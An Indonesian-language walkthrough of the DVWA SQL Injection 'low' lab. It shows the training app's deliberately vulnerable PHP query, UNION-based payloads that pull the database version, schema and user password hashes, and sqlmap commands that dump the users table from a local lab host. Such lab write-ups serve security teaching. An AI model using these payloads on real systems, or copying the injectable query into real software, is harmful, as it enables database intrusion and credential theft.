# Low

Di bawah ini adalah *source-code* dari *SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli/source/low.php
<?php
​
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form yang digunakan untuk memasukkan User ID. Jika saya coba inputkan '`1`', maka akan muncul seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JlZ-WsS0hZgRz1-3F%2Fimage.png?alt=media\&token=1a0eafde-7587-4f39-9689-d811bd05ff80)

Untuk mencari tahu apakah form ini memiliki celah *SQL Injection*, kita bisa mencobanya dengan meng-inputkan kutip satu (`'`) .

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JmC7AhSV9VS_969t9%2Fimage.png?alt=media\&token=617e3cbc-35a1-4701-aac1-2edaea5ac193)

Dan hasilnya akan terdapat error. Ini berarti kita bisa melakukan *SQL Injection*.

Jika anda bertanya kenapa hasilnya bisa error? Jawabanya adalah karena ketika kita menginputkan kutip satu, maka *query* yang dijalankan oleh server akan seperti berikut:

```sql
SELECT first_name, last_name FROM users WHERE user_id = ''';
```

Terlihat bahwa ada kutip satu yang tidak memiliki pasangannya, sehingga membuat *query* menjadi *error*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah ditentukan terdapat celah keamanan, kita coba inputkan *payload* berikut:

```sql
%' or '0' = '0
```

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0' = '0';
```

Ini akan mengakibatkan semua *record* tersedia pada tabel tersebut akan ditampilkan.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JparOoW_kBP8Anglm%2Fimage.png?alt=media\&token=74ca2e8d-3ea1-4312-bd88-29b05c04e3c1)

### Melihat Versi DBMS <a href="#melihat-versi-dbms" id="melihat-versi-dbms"></a>

Kita juga bisa memodifikasi *payload*-nya. Contohnya seperti berikut untuk melihat informasi versi DBMS yang digunakan.

```sql
%' or 0=0 union select null, version() #
```

Tanda`#` pada sql berfungsi untuk membuat komentar.

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-Jr4Lk6GnPvnU5Sf5l%2Fimage.png?alt=media\&token=f89697c0-7c93-4872-840b-85956e9d331c)

Terlihat bahwa DBMS yang dipakai adalah MariaDB versi 10.1.26.

### Melihat Tabel yang mengandung kata 'user' <a href="#melihat-tabel-yang-mengandung-kata-user" id="melihat-tabel-yang-mengandung-kata-user"></a>

```sql
%' or 0=0 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user' #
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M04-mxYsCO8P9aLPSLv%2Fimage.png?alt=media\&token=bc0e93d3-8087-4e73-9d51-952e0000c174)

### Melihat Kolom dari Tabel 'users' <a href="#melihat-kolom-dari-tabel-users" id="melihat-kolom-dari-tabel-users"></a>

```sql
%' UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M040DmosJgz2rd_6EJs%2Fimage.png?alt=media\&token=13961fc8-b7f2-4a4c-bd09-a198d45e9f51)

### Mendapatkan users dan password <a href="#mendapatkan-users-dan-password" id="mendapatkan-users-dan-password"></a>

```
%' UNION SELECT null, concat(user,0x0a,password) FROM users#
```

**0x0a** pada hexadesimal berarti **10**, dan jika dirubah menjadi ASCII berarti *newline* (lihat [di sini](http://www.asciitable.com/)).![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M041TxjJ8HrI0E2h0cv%2Fimage.png?alt=media\&token=3eedd61b-b439-4df8-82f1-e73f1556f3e7)

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Jika kalian tidak mau bingung dengan *query* di atas, kita bisa menggunakan tool [SQLMap](https://github.com/sqlmapproject/sqlmap).

Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah `GET`. Dan *endpoint* pada kasus ini adalah:

```http
http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#
```

**Cek database yang tersedia:**

Langsung saja kita jalankan SQLMap seperti berikut untuk mencari tahu database yang tersedia:

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" --dbs
```

Keterangan:

* `-u` digunakan untuk menentukan URL atau *endpoint*.
* `--cookie` digunakan untuk menetukan *cookie*.
* `--dbs` digunakan untuk melihat database yang tersedia.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JwOC6iuBZn2ezeIKD%2Fimage.png?alt=media\&token=cc6e162d-22b0-4319-a4fc-9dd14f878512)

Hasilnya terdapat 2 database yang tersedia, yaitu **dvwa** dan **information\_schema**.

**Cek daftar tabel dari database dvwa:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa --tables
```

Keterangan:

* `-D` digunakan untuk menentukan database.
* `--tables` untuk melihat daftar tabel dari database (`-D`).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JxVXlcJOCks7JZG6e%2Fimage.png?alt=media\&token=38723a18-1a16-4e18-b9f3-1e66c05172ec)

Terdapat 2 tabel, yaitu **guestbook** dan **users**.

#### Cek kolom yang tersdia pada tabel users: <a href="#cek-kolom-yang-tersdia-pada-tabel-users" id="cek-kolom-yang-tersdia-pada-tabel-users"></a>

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --columns
```

Keterangan:

* `-T` adalah tabel yang digunakan dari database `-D`.
* `--columns` adalah mencari kolom yang tersedia pada tabel `-T`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JyVflxHQRUDchGigl%2Fimage.png?alt=media\&token=82be35e7-9e65-482a-846f-838dfe5a19f1)

Terlihat ada beberapa kolom yang tersedia, oke kita lanjut dengan melakukan *dump* pada data tersebut.

**Dump tabel users:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --dump
```

Keterangan:

* `--dump` akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan *dictionary* yang ada di SQLMap atau *dictionary* kita sendiri.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-K-5javHjjePkOfanK%2Fimage.png?alt=media\&token=d5757148-dc33-4539-9c6d-4596e6db3a7f)

Dan hasil nya adalah seperti gambar di atas.

Happy Hacking! 🍻[<br>](https://n3wbye.gitbook.io/dvwa/sql-injection/pengenalan)
